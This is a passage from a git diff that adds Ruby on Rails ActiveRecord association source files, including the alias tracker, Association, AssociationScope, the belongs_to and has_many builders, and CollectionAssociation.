+ if aliases[table_name].zero?
+ # If it's zero, we can have our table_name
+ aliases[table_name] = 1
+ table_name
+ else
+ # Otherwise, we need to use an alias
+ aliased_name = connection.table_alias_for(aliased_name)
+
+ # Update the count
+ aliases[aliased_name] += 1
+
+ if aliases[aliased_name] > 1
+ "#{truncate(aliased_name)}_#{aliases[aliased_name]}"
+ else
+ aliased_name
+ end
+ end
+ end
+
+ private
+
+ def initial_count_for(name)
+ return 0 if Arel::Table === table_joins
+
+ # quoted_name should be downcased as some database adapters (Oracle) return quoted name in uppercase
+ quoted_name = connection.quote_table_name(name).downcase
+
+ counts = table_joins.map do |join|
+ if join.is_a?(Arel::Nodes::StringJoin)
+ # Table names + table aliases
+ join.left.downcase.scan(
+ /join(?:\s+\w+)?\s+(\S+\s+)?#{quoted_name}\son/
+ ).size
+ else
+ join.left.table_name == name ? 1 : 0
+ end
+ end
+
+ counts.sum
+ end
+
+ def truncate(name)
+ name.slice(0, connection.table_alias_length - 2)
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/associations/association.rb b/activerecord/lib/active_record/associations/association.rb
new file mode 100644
index 0000000..db0553e
--- /dev/null
+++ b/activerecord/lib/active_record/associations/association.rb
@@ -0,0 +1,244 @@
+require 'active_support/core_ext/array/wrap'
+
+module ActiveRecord
+ module Associations
+ # = Active Record Associations
+ #
+ # This is the root class of all associations ('+ Foo' signifies an included module Foo):
+ #
+ # Association
+ # SingularAssociation
+ # HasOneAssociation
+ # HasOneThroughAssociation + ThroughAssociation
+ # BelongsToAssociation
+ # BelongsToPolymorphicAssociation
+ # CollectionAssociation
+ # HasAndBelongsToManyAssociation
+ # HasManyAssociation
+ # HasManyThroughAssociation + ThroughAssociation
+ class Association #:nodoc:
+ attr_reader :owner, :target, :reflection
+
+ delegate :options, :to => :reflection
+
+ def initialize(owner, reflection)
+ reflection.check_validity!
+
+ @owner, @reflection = owner, reflection
+
+ reset
+ reset_scope
+ end
+
+ # Returns the name of the table of the associated class:
+ #
+ # post.comments.aliased_table_name # => "comments"
+ #
+ def aliased_table_name
+ klass.table_name
+ end
+
+ # Resets the \loaded flag to +false+ and sets the \target to +nil+.
+ def reset
+ @loaded = false
+ @target = nil
+ @stale_state = nil
+ end
+
+ # Reloads the \target and returns +self+ on success.
+ def reload
+ reset
+ reset_scope
+ load_target
+ self unless target.nil?
+ end
+
+ # Has the \target been already \loaded?
+ def loaded?
+ @loaded
+ end
+
+ # Asserts the \target has been loaded setting the \loaded flag to +true+.
+ def loaded!
+ @loaded = true
+ @stale_state = stale_state
+ end
+
+ # The target is stale if the target no longer points to the record(s) that the
+ # relevant foreign_key(s) refers to. If stale, the association accessor method
+ # on the owner will reload the target. It's up to subclasses to implement the
+ # state_state method if relevant.
+ #
+ # Note that if the target has not been loaded, it is not considered stale.
+ def stale_target?
+ loaded? && @stale_state != stale_state
+ end
+
+ # Sets the target of this association to <tt>\target</tt>, and the \loaded flag to +true+.
+ def target=(target)
+ @target = target
+ loaded!
+ end
+
+ def scope
+ target_scope.merge(association_scope)
+ end
+
+ def scoped
+ ActiveSupport::Deprecation.warn "#scoped is deprecated. use #scope instead."
+ scope
+ end
+
+ # The scope for this association.
+ #
+ # Note that the association_scope is merged into the target_scope only when the
+ # scope method is called. This is because at that point the call may be surrounded
+ # by scope.scoping { ... } or with_scope { ... } etc, which affects the scope which
+ # actually gets built.
+ def association_scope
+ if klass
+ @association_scope ||= AssociationScope.new(self).scope
+ end
+ end
+
+ def reset_scope
+ @association_scope = nil
+ end
+
+ # Set the inverse association, if possible
+ def set_inverse_instance(record)
+ if record && invertible_for?(record)
+ inverse = record.association(inverse_reflection_for(record).name)
+ inverse.target = owner
+ end
+ end
+
+ # Returns the class of the target. belongs_to polymorphic overrides this to look at the
+ # polymorphic_type field on the owner.
+ def klass
+ reflection.klass
+ end
+
+ # Can be overridden (i.e. in ThroughAssociation) to merge in other scopes (i.e. the
+ # through association's scope)
+ def target_scope
+ klass.all
+ end
+
+ # Loads the \target if needed and returns it.
+ #
+ # This method is abstract in the sense that it relies on +find_target+,
+ # which is expected to be provided by descendants.
+ #
+ # If the \target is already \loaded it is just returned. Thus, you can call
+ # +load_target+ unconditionally to get the \target.
+ #
+ # ActiveRecord::RecordNotFound is rescued within the method, and it is
+ # not reraised. The proxy is \reset and +nil+ is the return value.
+ def load_target
+ @target = find_target if (@stale_state && stale_target?) || find_target?
+
+ loaded! unless loaded?
+ target
+ rescue ActiveRecord::RecordNotFound
+ reset
+ end
+
+ def interpolate(sql, record = nil)
+ if sql.respond_to?(:to_proc)
+ owner.instance_exec(record, &sql)
+ else
+ sql
+ end
+ end
+
+ # We can't dump @reflection since it contains the scope proc
+ def marshal_dump
+ ivars = (instance_variables - [:@reflection]).map { |name| [name, instance_variable_get(name)] }
+ [@reflection.name, ivars]
+ end
+
+ def marshal_load(data)
+ reflection_name, ivars = data
+ ivars.each { |name, val| instance_variable_set(name, val) }
+ @reflection = @owner.class.reflect_on_association(reflection_name)
+ end
+
+ private
+
+ def find_target?
+ !loaded? && (!owner.new_record? || foreign_key_present?) && klass
+ end
+
+ def creation_attributes
+ attributes = {}
+
+ if (reflection.macro == :has_one || reflection.macro == :has_many) && !options[:through]
+ attributes[reflection.foreign_key] = owner[reflection.active_record_primary_key]
+
+ if reflection.options[:as]
+ attributes[reflection.type] = owner.class.base_class.name
+ end
+ end
+
+ attributes
+ end
+
+ # Sets the owner attributes on the given record
+ def set_owner_attributes(record)
+ creation_attributes.each { |key, value| record[key] = value }
+ end
+
+ # Should be true if there is a foreign key present on the owner which
+ # references the target. This is used to determine whether we can load
+ # the target if the owner is currently a new record (and therefore
+ # without a key).
+ #
+ # Currently implemented by belongs_to (vanilla and polymorphic) and
+ # has_one/has_many :through associations which go through a belongs_to
+ def foreign_key_present?
+ false
+ end
+
+ # Raises ActiveRecord::AssociationTypeMismatch unless +record+ is of
+ # the kind of the class of the associated objects. Meant to be used as
+ # a sanity check when you are about to assign an associated record.
+ def raise_on_type_mismatch!(record)
+ unless record.is_a?(reflection.klass) || record.is_a?(reflection.class_name.constantize)
+ message = "#{reflection.class_name}(##{reflection.klass.object_id}) expected, got #{record.class}(##{record.class.object_id})"
+ raise ActiveRecord::AssociationTypeMismatch, message
+ end
+ end
+
+ # Can be redefined by subclasses, notably polymorphic belongs_to
+ # The record parameter is necessary to support polymorphic inverses as we must check for
+ # the association in the specific class of the record.
+ def inverse_reflection_for(record)
+ reflection.inverse_of
+ end
+
+ # Returns true if inverse association on the given record needs to be set.
+ # This method is redefined by subclasses.
+ def invertible_for?(record)
+ inverse_reflection_for(record)
+ end
+
+ # This should be implemented to return the values of the relevant key(s) on the owner,
+ # so that when stale_state is different from the value stored on the last find_target,
+ # the target is stale.
+ #
+ # This is only relevant to certain associations, which is why it returns nil by default.
+ def stale_state
+ end
+
+ def build_record(attributes)
+ reflection.build_association(attributes) do |record|
+ skip_assign = [reflection.foreign_key, reflection.type].compact
+ attributes = create_scope.except(*(record.changed - skip_assign))
+ record.assign_attributes(attributes)
+ set_inverse_instance(record)
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/associations/association_scope.rb b/activerecord/lib/active_record/associations/association_scope.rb
new file mode 100644
index 0000000..aa5551f
--- /dev/null
+++ b/activerecord/lib/active_record/associations/association_scope.rb
@@ -0,0 +1,135 @@
+module ActiveRecord
+ module Associations
+ class AssociationScope #:nodoc:
+ include JoinHelper
+
+ attr_reader :association, :alias_tracker
+
+ delegate :klass, :owner, :reflection, :interpolate, :to => :association
+ delegate :chain, :scope_chain, :options, :source_options, :active_record, :to => :reflection
+
+ def initialize(association)
+ @association = association
+ @alias_tracker = AliasTracker.new klass.connection
+ end
+
+ def scope
+ scope = klass.unscoped
+ scope.extending! Array(options[:extend])
+ add_constraints(scope)
+ end
+
+ private
+
+ def column_for(table_name, column_name)
+ columns = alias_tracker.connection.schema_cache.columns_hash(table_name)
+ columns[column_name]
+ end
+
+ def bind_value(scope, column, value)
+ substitute = alias_tracker.connection.substitute_at(
+ column, scope.bind_values.length)
+ scope.bind_values += [[column, value]]
+ substitute
+ end
+
+ def bind(scope, table_name, column_name, value)
+ column = column_for table_name, column_name
+ bind_value scope, column, value
+ end
+
+ def add_constraints(scope)
+ tables = construct_tables
+
+ chain.each_with_index do |reflection, i|
+ table, foreign_table = tables.shift, tables.first
+
+ if reflection.source_macro == :has_and_belongs_to_many
+ join_table = tables.shift
+
+ scope = scope.joins(join(
+ join_table,
+ table[reflection.association_primary_key].
+ eq(join_table[reflection.association_foreign_key])
+ ))
+
+ table, foreign_table = join_table, tables.first
+ end
+
+ if reflection.source_macro == :belongs_to
+ if reflection.options[:polymorphic]
+ key = reflection.association_primary_key(self.klass)
+ else
+ key = reflection.association_primary_key
+ end
+
+ foreign_key = reflection.foreign_key
+ else
+ key = reflection.foreign_key
+ foreign_key = reflection.active_record_primary_key
+ end
+
+ if reflection == chain.last
+ bind_val = bind scope, table.table_name, key.to_s, owner[foreign_key]
+ scope = scope.where(table[key].eq(bind_val))
+
+ if reflection.type
+ value = owner.class.base_class.name
+ bind_val = bind scope, table.table_name, reflection.type.to_s, value
+ scope = scope.where(table[reflection.type].eq(bind_val))
+ end
+ else
+ constraint = table[key].eq(foreign_table[foreign_key])
+
+ if reflection.type
+ type = chain[i + 1].klass.base_class.name
+ constraint = constraint.and(table[reflection.type].eq(type))
+ end
+
+ scope = scope.joins(join(foreign_table, constraint))
+ end
+
+ # Exclude the scope of the association itself, because that
+ # was already merged in the #scope method.
+ scope_chain[i].each do |scope_chain_item|
+ klass = i == 0 ? self.klass : reflection.klass
+ item = eval_scope(klass, scope_chain_item)
+
+ if scope_chain_item == self.reflection.scope
+ scope.merge! item.except(:where, :includes)
+ end
+
+ scope.includes! item.includes_values
+ scope.where_values += item.where_values
+ scope.order_values |= item.order_values
+ end
+ end
+
+ scope
+ end
+
+ def alias_suffix
+ reflection.name
+ end
+
+ def table_name_for(reflection)
+ if reflection == self.reflection
+ # If this is a polymorphic belongs_to, we want to get the klass from the
+ # association because it depends on the polymorphic_type attribute of
+ # the owner
+ klass.table_name
+ else
+ reflection.table_name
+ end
+ end
+
+ def eval_scope(klass, scope)
+ if scope.is_a?(Relation)
+ scope
+ else
+ klass.unscoped.instance_exec(owner, &scope)
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/associations/belongs_to_association.rb b/activerecord/lib/active_record/associations/belongs_to_association.rb
new file mode 100644
index 0000000..8eec4f5
--- /dev/null
+++ b/activerecord/lib/active_record/associations/belongs_to_association.rb
@@ -0,0 +1,92 @@
+module ActiveRecord
+ # = Active Record Belongs To Association
+ module Associations
+ class BelongsToAssociation < SingularAssociation #:nodoc:
+
+ def handle_dependency
+ target.send(options[:dependent]) if load_target
+ end
+
+ def replace(record)
+ raise_on_type_mismatch!(record) if record
+
+ update_counters(record)
+ replace_keys(record)
+ set_inverse_instance(record)
+
+ @updated = true if record
+
+ self.target = record
+ end
+
+ def reset
+ super
+ @updated = false
+ end
+
+ def updated?
+ @updated
+ end
+
+ private
+
+ def find_target?
+ !loaded? && foreign_key_present? && klass
+ end
+
+ def update_counters(record)
+ counter_cache_name = reflection.counter_cache_column
+
+ if counter_cache_name && owner.persisted? && different_target?(record)
+ if record
+ record.class.increment_counter(counter_cache_name, record.id)
+ end
+
+ if foreign_key_present?
+ klass.decrement_counter(counter_cache_name, target_id)
+ end
+ end
+ end
+
+ # Checks whether record is different to the current target, without loading it
+ def different_target?(record)
+ if record.nil?
+ owner[reflection.foreign_key]
+ else
+ record.id != owner[reflection.foreign_key]
+ end
+ end
+
+ def replace_keys(record)
+ if record
+ owner[reflection.foreign_key] = record[reflection.association_primary_key(record.class)]
+ else
+ owner[reflection.foreign_key] = nil
+ end
+ end
+
+ def foreign_key_present?
+ owner[reflection.foreign_key]
+ end
+
+ # NOTE - for now, we're only supporting inverse setting from belongs_to back onto
+ # has_one associations.
+ def invertible_for?(record)
+ inverse = inverse_reflection_for(record)
+ inverse && inverse.macro == :has_one
+ end
+
+ def target_id
+ if options[:primary_key]
+ owner.send(reflection.name).try(:id)
+ else
+ owner[reflection.foreign_key]
+ end
+ end
+
+ def stale_state
+ owner[reflection.foreign_key] && owner[reflection.foreign_key].to_s
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/associations/belongs_to_polymorphic_association.rb b/activerecord/lib/active_record/associations/belongs_to_polymorphic_association.rb
new file mode 100644
index 0000000..eae5eed
--- /dev/null
+++ b/activerecord/lib/active_record/associations/belongs_to_polymorphic_association.rb
@@ -0,0 +1,35 @@
+module ActiveRecord
+ # = Active Record Belongs To Polymorphic Association
+ module Associations
+ class BelongsToPolymorphicAssociation < BelongsToAssociation #:nodoc:
+ def klass
+ type = owner[reflection.foreign_type]
+ type.presence && type.constantize
+ end
+
+ private
+
+ def replace_keys(record)
+ super
+ owner[reflection.foreign_type] = record && record.class.base_class.name
+ end
+
+ def different_target?(record)
+ super || record.class != klass
+ end
+
+ def inverse_reflection_for(record)
+ reflection.polymorphic_inverse_of(record.class)
+ end
+
+ def raise_on_type_mismatch!(record)
+ # A polymorphic association cannot have a type mismatch, by definition
+ end
+
+ def stale_state
+ foreign_key = super
+ foreign_key && [foreign_key.to_s, owner[reflection.foreign_type].to_s]
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/associations/builder/association.rb b/activerecord/lib/active_record/associations/builder/association.rb
new file mode 100644
index 0000000..5c37f42
--- /dev/null
+++ b/activerecord/lib/active_record/associations/builder/association.rb
@@ -0,0 +1,108 @@
+module ActiveRecord::Associations::Builder
+ class Association #:nodoc:
+ class << self
+ attr_accessor :valid_options
+ end
+
+ self.valid_options = [:class_name, :foreign_key, :validate]
+
+ attr_reader :model, :name, :scope, :options, :reflection
+
+ def self.build(*args, &block)
+ new(*args, &block).build
+ end
+
+ def initialize(model, name, scope, options)
+ raise ArgumentError, "association names must be a Symbol" unless name.kind_of?(Symbol)
+
+ @model = model
+ @name = name
+
+ if scope.is_a?(Hash)
+ @scope = nil
+ @options = scope
+ else
+ @scope = scope
+ @options = options
+ end
+
+ if @scope && @scope.arity == 0
+ prev_scope = @scope
+ @scope = proc { instance_exec(&prev_scope) }
+ end
+ end
+
+ def mixin
+ @model.generated_feature_methods
+ end
+
+ include Module.new { def build; end }
+
+ def build
+ validate_options
+ define_accessors
+ configure_dependency if options[:dependent]
+ @reflection = model.create_reflection(macro, name, scope, options, model)
+ super # provides an extension point
+ @reflection
+ end
+
+ def macro
+ raise NotImplementedError
+ end
+
+ def valid_options
+ Association.valid_options
+ end
+
+ def validate_options
+ options.assert_valid_keys(valid_options)
+ end
+
+ def define_accessors
+ define_readers
+ define_writers
+ end
+
+ def define_readers
+ mixin.class_eval <<-CODE, __FILE__, __LINE__ + 1
+ def #{name}(*args)
+ association(:#{name}).reader(*args)
+ end
+ CODE
+ end
+
+ def define_writers
+ mixin.class_eval <<-CODE, __FILE__, __LINE__ + 1
+ def #{name}=(value)
+ association(:#{name}).writer(value)
+ end
+ CODE
+ end
+
+ def configure_dependency
+ unless valid_dependent_options.include? options[:dependent]
+ raise ArgumentError, "The :dependent option must be one of #{valid_dependent_options}, but is :#{options[:dependent]}"
+ end
+
+ if options[:dependent] == :restrict
+ ActiveSupport::Deprecation.warn(
+ "The :restrict option is deprecated. Please use :restrict_with_exception instead, which " \
+ "provides the same functionality."
+ )
+ end
+
+ mixin.class_eval <<-CODE, __FILE__, __LINE__ + 1
+ def #{macro}_dependent_for_#{name}
+ association(:#{name}).handle_dependency
+ end
+ CODE
+
+ model.before_destroy "#{macro}_dependent_for_#{name}"
+ end
+
+ def valid_dependent_options
+ raise NotImplementedError
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/associations/builder/belongs_to.rb b/activerecord/lib/active_record/associations/builder/belongs_to.rb
new file mode 100644
index 0000000..543a024
--- /dev/null
+++ b/activerecord/lib/active_record/associations/builder/belongs_to.rb
@@ -0,0 +1,98 @@
+module ActiveRecord::Associations::Builder
+ class BelongsTo < SingularAssociation #:nodoc:
+ def macro
+ :belongs_to
+ end
+
+ def valid_options
+ super + [:foreign_type, :polymorphic, :touch]
+ end
+
+ def constructable?
+ !options[:polymorphic]
+ end
+
+ def build
+ reflection = super
+ add_counter_cache_callbacks(reflection) if options[:counter_cache]
+ add_touch_callbacks(reflection) if options[:touch]
+ reflection
+ end
+
+ def add_counter_cache_callbacks(reflection)
+ cache_column = reflection.counter_cache_column
+ foreign_key = reflection.foreign_key
+
+ mixin.class_eval <<-CODE, __FILE__, __LINE__ + 1
+ def belongs_to_counter_cache_after_create_for_#{name}
+ if record = #{name}
+ record.class.increment_counter(:#{cache_column}, record.id)
+ @_after_create_counter_called = true
+ end
+ end
+
+ def belongs_to_counter_cache_before_destroy_for_#{name}
+ unless destroyed_by_association && destroyed_by_association.foreign_key.to_sym == #{foreign_key.to_sym.inspect}
+ record = #{name}
+ record.class.decrement_counter(:#{cache_column}, record.id) unless record.nil?
+ end
+ end
+
+ def belongs_to_counter_cache_after_update_for_#{name}
+ if (@_after_create_counter_called ||= false)
+ @_after_create_counter_called = false
+ elsif self.#{foreign_key}_changed? && !new_record? && defined?(#{name.to_s.camelize})
+ model = #{name.to_s.camelize}
+ foreign_key_was = self.#{foreign_key}_was
+ foreign_key = self.#{foreign_key}
+
+ if foreign_key && model.respond_to?(:increment_counter)
+ model.increment_counter(:#{cache_column}, foreign_key)
+ end
+ if foreign_key_was && model.respond_to?(:decrement_counter)
+ model.decrement_counter(:#{cache_column}, foreign_key_was)
+ end
+ end
+ end
+ CODE
+
+ model.after_create "belongs_to_counter_cache_after_create_for_#{name}"
+ model.before_destroy "belongs_to_counter_cache_before_destroy_for_#{name}"
+ model.after_update "belongs_to_counter_cache_after_update_for_#{name}"
+
+ klass = reflection.class_name.safe_constantize
+ klass.attr_readonly cache_column if klass && klass.respond_to?(:attr_readonly)
+ end
+
+ def add_touch_callbacks(reflection)
+ mixin.class_eval <<-CODE, __FILE__, __LINE__ + 1
+ def belongs_to_touch_after_save_or_destroy_for_#{name}
+ foreign_key_field = #{reflection.foreign_key.inspect}
+ old_foreign_id = attribute_was(foreign_key_field)
+
+ if old_foreign_id
+ klass = association(#{name.inspect}).klass
+ old_record = klass.find_by(klass.primary_key => old_foreign_id)
+
+ if old_record
+ old_record.touch #{options[:touch].inspect if options[:touch] != true}
+ end
+ end
+
+ record = #{name}
+ unless record.nil? || record.new_record?
+ record.touch #{options[:touch].inspect if options[:touch] != true}
+ end
+ end
+ CODE
+
+ model.after_save "belongs_to_touch_after_save_or_destroy_for_#{name}"
+ model.after_touch "belongs_to_touch_after_save_or_destroy_for_#{name}"
+ model.after_destroy "belongs_to_touch_after_save_or_destroy_for_#{name}"
+ end
+
+ def valid_dependent_options
+ [:destroy, :delete]
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/associations/builder/collection_association.rb b/activerecord/lib/active_record/associations/builder/collection_association.rb
new file mode 100644
index 0000000..fdead16
--- /dev/null
+++ b/activerecord/lib/active_record/associations/builder/collection_association.rb
@@ -0,0 +1,89 @@
+require 'active_record/associations'
+
+module ActiveRecord::Associations::Builder
+ class CollectionAssociation < Association #:nodoc:
+
+ CALLBACKS = [:before_add, :after_add, :before_remove, :after_remove]
+
+ def valid_options
+ super + [:table_name, :finder_sql, :counter_sql, :before_add,
+ :after_add, :before_remove, :after_remove, :extend]
+ end
+
+ attr_reader :block_extension, :extension_module
+
+ def initialize(*args, &extension)
+ super(*args)
+ @block_extension = extension
+ end
+
+ def build
+ show_deprecation_warnings
+ wrap_block_extension
+ reflection = super
+ CALLBACKS.each { |callback_name| define_callback(callback_name) }
+ reflection
+ end
+
+ def writable?
+ true
+ end
+
+ def show_deprecation_warnings
+ [:finder_sql, :counter_sql].each do |name|
+ if options.include? name
+ ActiveSupport::Deprecation.warn("The :#{name} association option is deprecated. Please find an alternative (such as using scopes).")
+ end
+ end
+ end
+
+ def wrap_block_extension
+ if block_extension
+ @extension_module = mod = Module.new(&block_extension)
+ silence_warnings do
+ model.parent.const_set(extension_module_name, mod)
+ end
+
+ prev_scope = @scope
+
+ if prev_scope
+ @scope = proc { |owner| instance_exec(owner, &prev_scope).extending(mod) }
+ else
+ @scope = proc { extending(mod) }
+ end
+ end
+ end
+
+ def extension_module_name
+ @extension_module_name ||= "#{model.name.demodulize}#{name.to_s.camelize}AssociationExtension"
+ end
+
+ def define_callback(callback_name)
+ full_callback_name = "#{callback_name}_for_#{name}"
+
+ # TODO : why do i need method_defined? I think its because of the inheritance chain
+ model.class_attribute full_callback_name.to_sym unless model.method_defined?(full_callback_name)
+ model.send("#{full_callback_name}=", Array(options[callback_name.to_sym]))
+ end
+
+ def define_readers
+ super
+
+ mixin.class_eval <<-CODE, __FILE__, __LINE__ + 1
+ def #{name.to_s.singularize}_ids
+ association(:#{name}).ids_reader
+ end
+ CODE
+ end
+
+ def define_writers
+ super
+
+ mixin.class_eval <<-CODE, __FILE__, __LINE__ + 1
+ def #{name.to_s.singularize}_ids=(ids)
+ association(:#{name}).ids_writer(ids)
+ end
+ CODE
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/associations/builder/has_and_belongs_to_many.rb b/activerecord/lib/active_record/associations/builder/has_and_belongs_to_many.rb
new file mode 100644
index 0000000..bdac02b
--- /dev/null
+++ b/activerecord/lib/active_record/associations/builder/has_and_belongs_to_many.rb
@@ -0,0 +1,39 @@
+module ActiveRecord::Associations::Builder
+ class HasAndBelongsToMany < CollectionAssociation #:nodoc:
+ def macro
+ :has_and_belongs_to_many
+ end
+
+ def valid_options
+ super + [:join_table, :association_foreign_key, :delete_sql, :insert_sql]
+ end
+
+ def build
+ reflection = super
+ define_destroy_hook
+ reflection
+ end
+
+ def show_deprecation_warnings
+ super
+
+ [:delete_sql, :insert_sql].each do |name|
+ if options.include? name
+ ActiveSupport::Deprecation.warn("The :#{name} association option is deprecated. Please find an alternative (such as using has_many :through).")
+ end
+ end
+ end
+
+ def define_destroy_hook
+ name = self.name
+ model.send(:include, Module.new {
+ class_eval <<-RUBY, __FILE__, __LINE__ + 1
+ def destroy_associations
+ association(:#{name}).delete_all
+ super
+ end
+ RUBY
+ })
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/associations/builder/has_many.rb b/activerecord/lib/active_record/associations/builder/has_many.rb
new file mode 100644
index 0000000..0d1bdd2
--- /dev/null
+++ b/activerecord/lib/active_record/associations/builder/has_many.rb
@@ -0,0 +1,15 @@
+module ActiveRecord::Associations::Builder
+ class HasMany < CollectionAssociation #:nodoc:
+ def macro
+ :has_many
+ end
+
+ def valid_options
+ super + [:primary_key, :dependent, :as, :through, :source, :source_type, :inverse_of, :counter_cache]
+ end
+
+ def valid_dependent_options
+ [:destroy, :delete_all, :nullify, :restrict, :restrict_with_error, :restrict_with_exception]
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/associations/builder/has_one.rb b/activerecord/lib/active_record/associations/builder/has_one.rb
new file mode 100644
index 0000000..0da564f
--- /dev/null
+++ b/activerecord/lib/active_record/associations/builder/has_one.rb
@@ -0,0 +1,25 @@
+module ActiveRecord::Associations::Builder
+ class HasOne < SingularAssociation #:nodoc:
+ def macro
+ :has_one
+ end
+
+ def valid_options
+ valid = super + [:order, :as]
+ valid += [:through, :source, :source_type] if options[:through]
+ valid
+ end
+
+ def constructable?
+ !options[:through]
+ end
+
+ def configure_dependency
+ super unless options[:through]
+ end
+
+ def valid_dependent_options
+ [:destroy, :delete, :nullify, :restrict, :restrict_with_error, :restrict_with_exception]
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/associations/builder/singular_association.rb b/activerecord/lib/active_record/associations/builder/singular_association.rb
new file mode 100644
index 0000000..6a5830e
--- /dev/null
+++ b/activerecord/lib/active_record/associations/builder/singular_association.rb
@@ -0,0 +1,32 @@
+module ActiveRecord::Associations::Builder
+ class SingularAssociation < Association #:nodoc:
+ def valid_options
+ super + [:remote, :dependent, :counter_cache, :primary_key, :inverse_of]
+ end
+
+ def constructable?
+ true
+ end
+
+ def define_accessors
+ super
+ define_constructors if constructable?
+ end
+
+ def define_constructors
+ mixin.class_eval <<-CODE, __FILE__, __LINE__ + 1
+ def build_#{name}(*args, &block)
+ association(:#{name}).build(*args, &block)
+ end
+
+ def create_#{name}(*args, &block)
+ association(:#{name}).create(*args, &block)
+ end
+
+ def create_#{name}!(*args, &block)
+ association(:#{name}).create!(*args, &block)
+ end
+ CODE
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/associations/collection_association.rb b/activerecord/lib/active_record/associations/collection_association.rb
new file mode 100644
index 0000000..2a00ac1
--- /dev/null
+++ b/activerecord/lib/active_record/associations/collection_association.rb
@@ -0,0 +1,608 @@
+module ActiveRecord
+ module Associations
+ # = Active Record Association Collection
+ #
+ # CollectionAssociation is an abstract class that provides common stuff to
+ # ease the implementation of association proxies that represent
+ # collections. See the class hierarchy in AssociationProxy.
+ #
+ # CollectionAssociation:
+ # HasAndBelongsToManyAssociation => has_and_belongs_to_many
+ # HasManyAssociation => has_many
+ # HasManyThroughAssociation + ThroughAssociation => has_many :through
+ #
+ # CollectionAssociation class provides common methods to the collections
+ # defined by +has_and_belongs_to_many+, +has_many+ or +has_many+ with
+ # +:through association+ option.
+ #
+ # You need to be careful with assumptions regarding the target: The proxy
+ # does not fetch records from the database until it needs them, but new
+ # ones created with +build+ are added to the target. So, the target may be
+ # non-empty and still lack children waiting to be read from the database.
+ # If you look directly to the database you cannot assume that's the entire
+ # collection because new records may have been added to the target, etc.
+ #
+ # If you need to work on all current children, new and existing records,
+ # +load_target+ and the +loaded+ flag are your friends.
+ class CollectionAssociation < Association #:nodoc:
+
+ # Implements the reader method, e.g. foo.items for Foo.has_many :items
+ def reader(force_reload = false)
+ if force_reload
+ klass.uncached { reload }
+ elsif stale_target?
+ reload
+ end
+
+ @proxy ||= CollectionProxy.new(klass, self)
+ end
+
+ # Implements the writer method, e.g. foo.items= for Foo.has_many :items
+ def writer(records)
+ replace(records)
+ end
+
+ # Implements the ids reader method, e.g. foo.item_ids for Foo.has_many :items
+ def ids_reader
+ if loaded? || options[:finder_sql]
+ load_target.map do |record|
+ record.send(reflection.association_primary_key)
+ end
+ else
+ column = "#{reflection.quoted_table_name}.#{reflection.association_primary_key}"
+ scope.pluck(column)
+ end
+ end
+
+ # Implements the ids writer method, e.g. foo.item_ids= for Foo.has_many :items
+ def ids_writer(ids)
+ pk_column = reflection.primary_key_column
+ ids = Array(ids).reject { |id| id.blank? }
+ ids.map! { |i| pk_column.type_cast(i) }
+ replace(klass.find(ids).index_by { |r| r.id }.values_at(*ids))
+ end
+
+ def reset
+ super
+ @target = []
+ end
+
+ def select(select = nil)
+ if block_given?
+ load_target.select.each { |e| yield e }
+ else
+ scope.select(select)
+ end
+ end
+
+ def find(*args)
+ if block_given?
+ load_target.find(*args) { |*block_args| yield(*block_args) }
+ else
+ if options[:finder_sql]
+ find_by_scan(*args)
+ elsif options[:inverse_of]
+ args = args.flatten
+ raise RecordNotFound, "Couldn't find #{scope.klass.name} without an ID" if args.blank?
+
+ result = find_by_scan(*args)
+
+ result_size = Array(result).size
+ if !result || result_size != args.size
+ scope.raise_record_not_found_exception!(args, result_size, args.size)
+ else
+ result
+ end
+ else
+ scope.find(*args)
+ end
+ end
+ end
+
+ def first(*args)
+ first_or_last(:first, *args)
+ end
+
+ def last(*args)
+ first_or_last(:last, *args)
+ end
+
+ def build(attributes = {}, &block)
+ if attributes.is_a?(Array)
+ attributes.collect { |attr| build(attr, &block) }
+ else
+ add_to_target(build_record(attributes)) do |record|
+ yield(record) if block_given?
+ end
+ end
+ end
+
+ def create(attributes = {}, &block)
+ create_record(attributes, &block)
+ end
+
+ def create!(attributes = {}, &block)
+ create_record(attributes, true, &block)
+ end
+
+ # Add +records+ to this association. Returns +self+ so method calls may
+ # be chained. Since << flattens its argument list and inserts each record,
+ # +push+ and +concat+ behave identically.
+ def concat(*records)
+ load_target if owner.new_record?
+
+ if owner.new_record?
+ concat_records(records)
+ else
+ transaction { concat_records(records) }
+ end
+ end
+
+ # Starts a transaction in the association class's database connection.
+ #
+ # class Author < ActiveRecord::Base
+ # has_many :books
+ # end
+ #
+ # Author.first.books.transaction do
+ # # same effect as calling Book.transaction
+ # end
+ def transaction(*args)
+ reflection.klass.transaction(*args) do
+ yield
+ end
+ end
+
+ # Remove all records from this association.
+ #
+ # See delete for more info.
+ def delete_all
+ delete(:all).tap do
+ reset
+ loaded!
+ end
+ end
+
+ # Destroy all the records from this association.
+ #
+ # See destroy for more info.
+ def destroy_all
+ destroy(load_target).tap do
+ reset
+ loaded!
+ end
+ end
+
+ # Count all records using SQL. If the +:counter_sql+ or +:finder_sql+ option is set for the
+ # association, it will be used for the query. Otherwise, construct options and pass them with
+ # scope to the target class's +count+.
+ def count(column_name = nil, count_options = {})
+ column_name, count_options = nil, column_name if column_name.is_a?(Hash)
+
+ if options[:counter_sql] || options[:finder_sql]
+ unless count_options.blank?
+ raise ArgumentError, "If finder_sql/counter_sql is used then options cannot be passed"
+ end
+
+ reflection.klass.count_by_sql(custom_counter_sql)
+ else
+ relation = scope
+ if association_scope.distinct_value
+ # This is needed because 'SELECT count(DISTINCT *)..' is not valid SQL.
+ column_name ||= reflection.klass.primary_key
+ relation = relation.distinct
+ end
+
+ value = relation.count(column_name)
+
+ limit = options[:limit]
+ offset = options[:offset]
+
+ if limit || offset
+ [ [value - offset.to_i, 0].max, limit.to_i ].min
+ else
+ value
+ end
+ end
+ end
+
+ # Removes +records+ from this association calling +before_remove+ and
+ # +after_remove+ callbacks.
+ #
+ # This method is abstract in the sense that +delete_records+ has to be
